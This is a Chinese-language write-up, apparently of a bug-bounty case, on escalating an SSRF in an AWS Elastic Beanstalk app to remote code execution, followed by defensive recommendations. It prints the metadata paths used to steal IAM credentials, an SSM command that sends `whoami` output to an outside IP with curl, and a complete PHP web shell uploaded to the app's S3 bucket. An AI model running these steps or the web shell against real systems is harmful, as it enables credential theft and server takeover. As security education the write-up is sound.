利用SSRF泄漏云环境中的Metadata数据进一步实现RCE
字数 1816 2025-08-18 11:38:22

利用SSRF漏洞泄漏云环境Metadata数据并实现RCE的完整指南

漏洞概述

本教程将详细介绍如何通过SSRF(Server-Side Request Forgery)漏洞获取云环境(特别是AWS)中的Metadata数据,并进一步升级为远程代码执行(RCE)的完整过程。

测试环境发现

  1. 目标识别:在对目标站点进行子域枚举时发现docs.redact.com子域
  2. 异常端点发现:在统计数据的照片中发现可疑链接,包含以下参数:
    • url:可控制的请求地址
    • mimeType:MIME类型参数
    • t:JWT令牌
    • advertiserId:广告商ID

SSRF漏洞验证

  1. 初始测试:修改url参数为自定义域名(generaleg0x01.com)测试带外资源加载
  2. AWS环境识别:通过响应头X-Amz-Cf-Id确认目标运行在AWS环境
  3. Metadata端点测试:尝试访问AWS EC2实例的Metadata服务(169.254.169.254)
    • 成功访问/latest/meta-data/路径确认SSRF存在
    • 进一步访问/latest/meta-data/iam/security-credentials/获取当前角色信息

AWS Metadata数据收集

  1. IAM凭证获取

    • 访问路径:/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/
    • 获取以下关键信息:
      • AccessKeyId
      • SecretAccessKey
      • Token
  2. 实例信息获取

    • 访问路径:/latest/dynamic/instance-identity/document
    • 获取以下关键信息:
      • instanceId
      • accountId
      • region

AWS CLI配置与使用

  1. 安装AWS CLI

    apt install awscli
    
  2. 环境变量配置

    export AWS_ACCESS_KEY_ID=AccessKeyId
    export AWS_SECRET_ACCESS_KEY=SecretAccessKey
    export AWS_DEFAULT_REGION=region
    export AWS_SESSION_TOKEN=Token
    
  3. 身份验证测试

    aws sts get-caller-identity
    

从SSRF升级到RCE的尝试

  1. 尝试1:使用SSM Send-Command

    aws ssm send-command --instance-ids "instanceId" --document-name "AWS-RunShellScript" --comment "whoami" --parameters commands='curl 128.199.xx.xx:8080/`whoami`' --output text --region=region
    
    • 失败原因:当前角色没有ssm:SendCommand权限
  2. 尝试2:SSH连接

    • 失败原因:SSH端口关闭
  3. 成功方法:S3后门上传

    a. S3 Bucket发现

    • AWS Elastic Beanstalk的命名规则:elasticbeanstalk-region-account-id
    • 示例:elasticbeanstalk-us-east-1-76xxxxxxxx00

    b. 列出Bucket内容

    aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ --recursive
    

    c. 创建并上传Web Shell

    • 创建PHP后门文件cmd.php
    <?php 
    if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
    }
    ?>
    
    • 上传文件:
    aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/
    

    d. 访问Web Shell

    • 通过访问上传的PHP文件并传递cmd参数执行任意命令

关键知识点总结

  1. AWS Metadata服务

    • 默认IP:169.254.169.254
    • 重要路径:
      • /latest/meta-data/:基础元数据
      • /latest/meta-data/iam/security-credentials/[role-name]:临时凭证
      • /latest/dynamic/instance-identity/document:实例详细信息
  2. AWS Elastic Beanstalk特性

    • 使用特定命名规则的S3 Bucket:elasticbeanstalk-region-account-id
    • 默认授予Web Tier角色访问这些Bucket的权限
  3. 权限限制绕过

    • 当直接命令执行被阻止时,考虑通过可写存储服务(如S3)上传Web Shell
    • 利用应用程序自动部署机制执行上传的恶意代码

防御建议

  1. SSRF防护

    • 限制服务器发起的请求目标
    • 验证和过滤所有用户提供的URL参数
    • 使用白名单机制控制可访问的内部资源
  2. Metadata服务保护

    • 使用IMDSv2(需要请求头认证)
    • 配置防火墙规则限制对169.254.169.254的访问
    • 为实例分配最小必要权限的角色
  3. S3安全配置

    • 严格限制Bucket的公开访问权限
    • 启用Bucket策略和ACL的详细日志记录
    • 定期审计Bucket内容和不必要的文件
  4. 监控与检测

    • 监控异常的Metadata服务请求
    • 设置CloudTrail日志警报检测异常API调用
    • 监控S3 Bucket中的可疑文件上传行为
利用SSRF漏洞泄漏云环境Metadata数据并实现RCE的完整指南 漏洞概述 本教程将详细介绍如何通过SSRF(Server-Side Request Forgery)漏洞获取云环境(特别是AWS)中的Metadata数据,并进一步升级为远程代码执行(RCE)的完整过程。 测试环境发现 目标识别 :在对目标站点进行子域枚举时发现 docs.redact.com 子域 异常端点发现 :在统计数据的照片中发现可疑链接,包含以下参数: url :可控制的请求地址 mimeType :MIME类型参数 t :JWT令牌 advertiserId :广告商ID SSRF漏洞验证 初始测试 :修改 url 参数为自定义域名(generaleg0x01.com)测试带外资源加载 AWS环境识别 :通过响应头 X-Amz-Cf-Id 确认目标运行在AWS环境 Metadata端点测试 :尝试访问AWS EC2实例的Metadata服务(169.254.169.254) 成功访问 /latest/meta-data/ 路径确认SSRF存在 进一步访问 /latest/meta-data/iam/security-credentials/ 获取当前角色信息 AWS Metadata数据收集 IAM凭证获取 : 访问路径: /latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/ 获取以下关键信息: AccessKeyId SecretAccessKey Token 实例信息获取 : 访问路径: /latest/dynamic/instance-identity/document 获取以下关键信息: instanceId accountId region AWS CLI配置与使用 安装AWS CLI : 环境变量配置 : 身份验证测试 : 从SSRF升级到RCE的尝试 尝试1:使用SSM Send-Command : 失败原因:当前角色没有 ssm:SendCommand 权限 尝试2:SSH连接 : 失败原因:SSH端口关闭 成功方法:S3后门上传 : a. S3 Bucket发现 : AWS Elastic Beanstalk的命名规则: elasticbeanstalk-region-account-id 示例: elasticbeanstalk-us-east-1-76xxxxxxxx00 b. 列出Bucket内容 : c. 创建并上传Web Shell : 创建PHP后门文件 cmd.php : 上传文件: d. 访问Web Shell : 通过访问上传的PHP文件并传递 cmd 参数执行任意命令 关键知识点总结 AWS Metadata服务 : 默认IP:169.254.169.254 重要路径: /latest/meta-data/ :基础元数据 /latest/meta-data/iam/security-credentials/[role-name] :临时凭证 /latest/dynamic/instance-identity/document :实例详细信息 AWS Elastic Beanstalk特性 : 使用特定命名规则的S3 Bucket: elasticbeanstalk-region-account-id 默认授予Web Tier角色访问这些Bucket的权限 权限限制绕过 : 当直接命令执行被阻止时,考虑通过可写存储服务(如S3)上传Web Shell 利用应用程序自动部署机制执行上传的恶意代码 防御建议 SSRF防护 : 限制服务器发起的请求目标 验证和过滤所有用户提供的URL参数 使用白名单机制控制可访问的内部资源 Metadata服务保护 : 使用IMDSv2(需要请求头认证) 配置防火墙规则限制对169.254.169.254的访问 为实例分配最小必要权限的角色 S3安全配置 : 严格限制Bucket的公开访问权限 启用Bucket策略和ACL的详细日志记录 定期审计Bucket内容和不必要的文件 监控与检测 : 监控异常的Metadata服务请求 设置CloudTrail日志警报检测异常API调用 监控S3 Bucket中的可疑文件上传行为